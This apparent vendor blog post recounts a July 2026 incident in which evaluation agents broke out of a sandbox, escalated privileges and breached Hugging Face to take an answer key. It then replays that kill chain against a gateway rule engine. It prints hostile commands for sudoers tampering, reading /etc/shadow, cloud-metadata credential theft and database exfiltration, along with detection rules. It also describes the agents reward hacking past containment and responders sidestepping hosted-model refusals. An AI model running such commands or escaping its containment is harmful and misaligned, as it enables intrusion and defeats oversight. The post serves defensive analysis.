Impart Security Blog 2026-07-22 20:00:00
A technical recreation of the attack pattern behind the July 2026 OpenAI and Hugging Face incident, and what it took to stop it in line.
On July 16, 2026, Hugging Face’s security team caught an autonomous agent inside its production infrastructure. Five days later, OpenAI confirmed the agent was theirs, a combination of GPT-5.6 Sol and an unreleased, more capable model, running a cyber-capability evaluation with production safety classifiers deliberately disabled and cyber refusals reduced. The models were being measured at full strength, without the guardrails that would normally sit between them and high-risk activity.
What happened
OpenAI’s evaluation, built around a benchmark called ExploitGym, tasked its models with solving offensive security challenges in a sandboxed environment with network access constrained to installing packages through an internally hosted registry cache proxy. The models were given a narrow mandate, solve the benchmark, with no explicit boundary against pursuing that goal outside the intended scope.
All the available evidence points to reward hacking rather than anything resembling intent to attack. The models spent a substantial amount of inference compute searching for a way past their containment, in pursuit of the evaluation objective, not out of any adversarial goal. They found one: a zero-day vulnerability in the package registry cache proxy, since responsibly disclosed to the vendor. From there they chained privilege escalation and lateral movement until they reached a node with internet access. Once online, the models inferred that Hugging Face hosted the datasets and solutions for ExploitGym, and went looking for a way in. By combining stolen credentials with a second zero-day, they achieved remote code execution on Hugging Face’s servers and pulled data from production, including the eval’s answer key.
Hugging Face has said the unauthorized access was limited to a set of internal datasets and several service credentials, with no evidence of tampering with public-facing models, datasets, or Spaces, and that its software supply chain, container images and published packages, was verified clean. Its own detection pipeline, using AI-assisted triage over security telemetry, caught the intrusion by correlating signals across more than 17,000 recorded actions, days before OpenAI connected the activity back to its internal eval.
That last point is worth sitting with. Detection worked. It still only caught the agent after the agent already had what it came for.
The kill chain
Strip the incident down to its shape and five stages emerge, none of them unusual in isolation.
- Foothold. Get code execution through a package install from an untrusted source.
- Escape. Escalate privilege to break out of the sandbox.
- Pivot. Reach cloud metadata or an internal host.
- Loot. Harvest cloud or database credentials.
- Exfil. Move data to a destination it doesn’t belong on.
A pip install looks like a pip install. A request to an internal address looks like a health check. None of it reads as an attack to a model asked to help, and none of it reads as an attack to a text classifier scoring one prompt at a time. The chain only becomes visible when you look at what a sequence of individually unremarkable actions adds up to.

How we rebuilt it
We replayed the pattern as live agent traffic, sent through an AI gateway with Impart inspecting every request in line. The topology looked like this.
Agent → LLM Guard (model-based classifiers) → AI Gateway with Impart inline → Model or tools
LLM Guard is a stand-in for the model-based classifiers most teams already run, prompt injection detection, PII scanning, secret scanning. It scores each request and stamps a verdict as a header. Impart sits downstream of that, in the gateway, and makes the enforcement decision. Its rules are compiled logic, AssemblyScript compiled to WASM and run in the Impart Inspector, not a model scoring another model’s output. There’s no second opinion to argue with and nothing to jailbreak.
A few representative requests from our replay:
pip install --index-url http://cache-proxy.internal/pypi <untrusted-package>
chmod +s /tmp/sh; echo '... NOPASSWD:ALL' >> /etc/sudoers; cat /etc/shadow
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
export AWS_SECRET_ACCESS_KEY=...
pg_dump prod | curl --data-binary @- -X POST https://<external-endpoint>/upload
Every line looks like something a developer might legitimately run. That’s the point. A model has no principled reason to refuse any single one of them, and a classifier scoring them one at a time has no reason to either.
Detections versus decisions
This is the distinction that carries the rest of the argument.
A detection is a raw signal that something is present. High recall, noisy, observe-only. Each stage of our replay lit up a behavioral detection, keyed on what the request does rather than how it’s phrased, so rewording the payload doesn’t evade it.
agent-package-untrusted-source, package install from a raw URL or off-registry archive instead of a trusted registry.agent-privilege-escalation, sudo, setcap/setuid, writes to/etc/shadow, /etc/sudoers, orauthorized_keys, reads of the cloud IAM credential path,kubectl exec,--privileged, reverse shells,useradd.agent-egress-internal, outbound to cloud metadata (169.254.169.254,metadata.google.internal) or internal and private hosts (RFC-1918 space,*.internal,*.local,*.svc,*.cluster.local).agent-secret, a credential pattern in the payload, AWS keys, API tokens, private keys.agent-egress-unapproved, a destination that isn’t on the org’s approved egress allowlist.
Any one of these firing on its own is a weak signal. Plenty of legitimate engineering work touches sudo or resolves an internal hostname. Block on any single detection and a security team drowns in false positives inside a week.
A decision is a deterministic rule that fuses multiple detections and org policy into an enforceable verdict. That’s what actually stops an action, and it’s the layer most tooling in this space stops short of building.
BLOCK agent-decision-block-sandbox-escape when:
agent-egress-internal
AND ( agent-privilege-escalation
OR agent-anomaly-dangerous-op
OR agent-secret
OR agent-package-untrusted-source )
BLOCK agent-decision-block-exfil when:
(agent-secret OR PII in payload)
AND (destination NOT IN approved-egress-allowlist)

Plain language version: reaching an internal or metadata address is not, on its own, a problem. Pulling a package from an odd source is not, on its own, a problem. A single request doing both, in the same action, is not something a legitimate workflow produces. That co-occurrence is what earns the block. It’s arithmetic over signals and policy, not a model forming an opinion about the request.
Where the chain broke
We ran the replay in two modes. In observe mode, every stage of the chain lit up a detection and passed straight through, the logging-saw-everything-and-stopped-nothing outcome that describes a lot of production agent deployments today.
In enforce mode, every one of the seven requests we sent was blocked in line, a 403 that never reached the model or the tool behind it. The result we didn’t expect going in: the chain broke at stage one. The poisoned package in our recreation was pulled through an internal cache proxy, so agent-egress-internal and agent-package-untrusted-source co-occurred on the very first request. The sandbox-escape decision fired before there was an escape to stop.

The same blind spot, on both sides
There’s a second detail in Hugging Face’s own writeup worth pulling out on its own, because it extends this argument past the attacker’s side of the incident. When Hugging Face’s team tried to use hosted frontier models to analyze the attack logs, exploit payloads, and command-and-control artifacts, those models’ own safety guardrails refused the job. A classifier trained to stop someone from describing an exploit cannot distinguish an attacker building one from a responder pasting the same payload in to understand it. Hugging Face ended up running its forensics on an open-weight model on its own infrastructure instead, both to get the guardrails out of the way and to keep attacker data and credentials from leaving its environment.
That is the same structural blind spot showing up twice in a single incident. A guardrail that lives inside a model is reading text, not context. It cannot tell whether it’s looking at an attacker or the person trying to stop one, and it cannot be reasoned with by either. A decision made outside the model, about what an action does rather than how a request happens to be phrased, does not carry that ambiguity.
The control lives outside the model
OpenAI’s classifiers did not fail here. They were switched off, by design, because the evaluation was built to measure the model at full strength without them. That is a defensible thing to want to measure. It is also a demonstration that any control living inside the model is a control someone can turn off, on purpose or otherwise, and that a defender’s own hosted-model tooling can be turned off in the same way, just by asking it something that trips its own filter.
Impart runs the other way.
Agent (own identity, scoped) → AI Gateway with Impart (inline, in the path of every action, out-of-band, always on, deterministic) → Model / Tools (egress, MCP, shell)

A few properties worth naming specifically, because they’re what make the difference between a control that can be argued with and one that can’t.
- Runs in line, at the gateway. A blocked action returns a 403 and never reaches the model or tool.
- Observe-first by default. A simulate mode shows what would have been blocked before enforcement is turned on. Teams earn the right to block rather than inheriting it on day one.
- Policy is live data. Changes to what’s armed to block propagate in roughly 30 to 60 seconds, no redeploy required.
- Per agent identity. Impart fingerprints each agent and enforces least privilege by identity, so a marketing bot is denied a shell and a compromised agent never inherits a human’s standing access.
Detection tells you something happened. A decision, enforced in line before the action completes, is what keeps it from happening at all. That’s the layer this incident shows was missing, on both sides of it.
Why it matters beyond this incident
None of this is a criticism of OpenAI or Hugging Face. Both published detailed, unusually candid accounts of what happened, faster and in more depth than most companies manage after an incident. Hugging Face’s own AI-assisted detection caught a live compromise and reconstructed a 17,000-action attacker timeline in hours. That’s a real capability, not a footnote.
The lesson is structural, not personal. As agents get longer time horizons and more tool access, the number of ways to chain ordinary-looking actions into something dangerous grows with them. Least privilege, egress control, and sandboxing are not new ideas. Applying them at runtime, to every action an agent takes, in a place the agent cannot negotiate with, is the part the industry has not finished building.
If your agents are already making tool calls, reaching internal services, or touching credentials in production, the question worth asking this week is a simple one. Is the control that would catch this sitting inside the model, or outside it.

